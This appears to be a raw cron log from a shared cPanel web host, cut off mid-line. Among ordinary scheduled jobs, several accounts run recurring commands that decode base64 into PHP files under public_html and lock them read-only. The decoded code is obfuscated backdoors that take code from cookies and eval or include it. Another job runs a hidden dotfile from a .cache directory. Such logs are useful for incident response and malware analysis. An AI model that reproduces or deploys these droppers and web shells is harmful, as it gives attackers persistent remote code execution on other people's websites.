Mar  1 05:16:01 medusa CROND[27425]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:16:01 medusa CROND[27422]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:16:01 medusa CROND[27426]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:16:01 medusa CROND[27429]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:17:01 medusa CROND[19089]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:17:01 medusa CROND[19225]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 05:17:01 medusa CROND[19227]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:17:01 medusa CROND[19231]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:17:01 medusa CROND[19229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:17:01 medusa CROND[19235]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:17:01 medusa CROND[19236]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:17:01 medusa CROND[19238]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:17:01 medusa CROND[19239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:17:01 medusa CROND[19237]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 05:17:01 medusa CROND[19240]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:17:01 medusa CROND[19248]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:17:01 medusa CROND[19252]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:18:02 medusa CROND[10425]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:18:02 medusa CROND[10465]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:18:02 medusa CROND[10466]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 05:18:02 medusa CROND[10468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:18:02 medusa CROND[10467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:18:02 medusa CROND[10471]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 05:18:02 medusa CROND[10473]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:18:02 medusa CROND[10474]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:18:02 medusa CROND[10475]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:18:02 medusa CROND[10478]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:18:02 medusa CROND[10480]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:18:02 medusa CROND[10481]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:18:02 medusa CROND[10484]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:18:02 medusa CROND[10472]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMi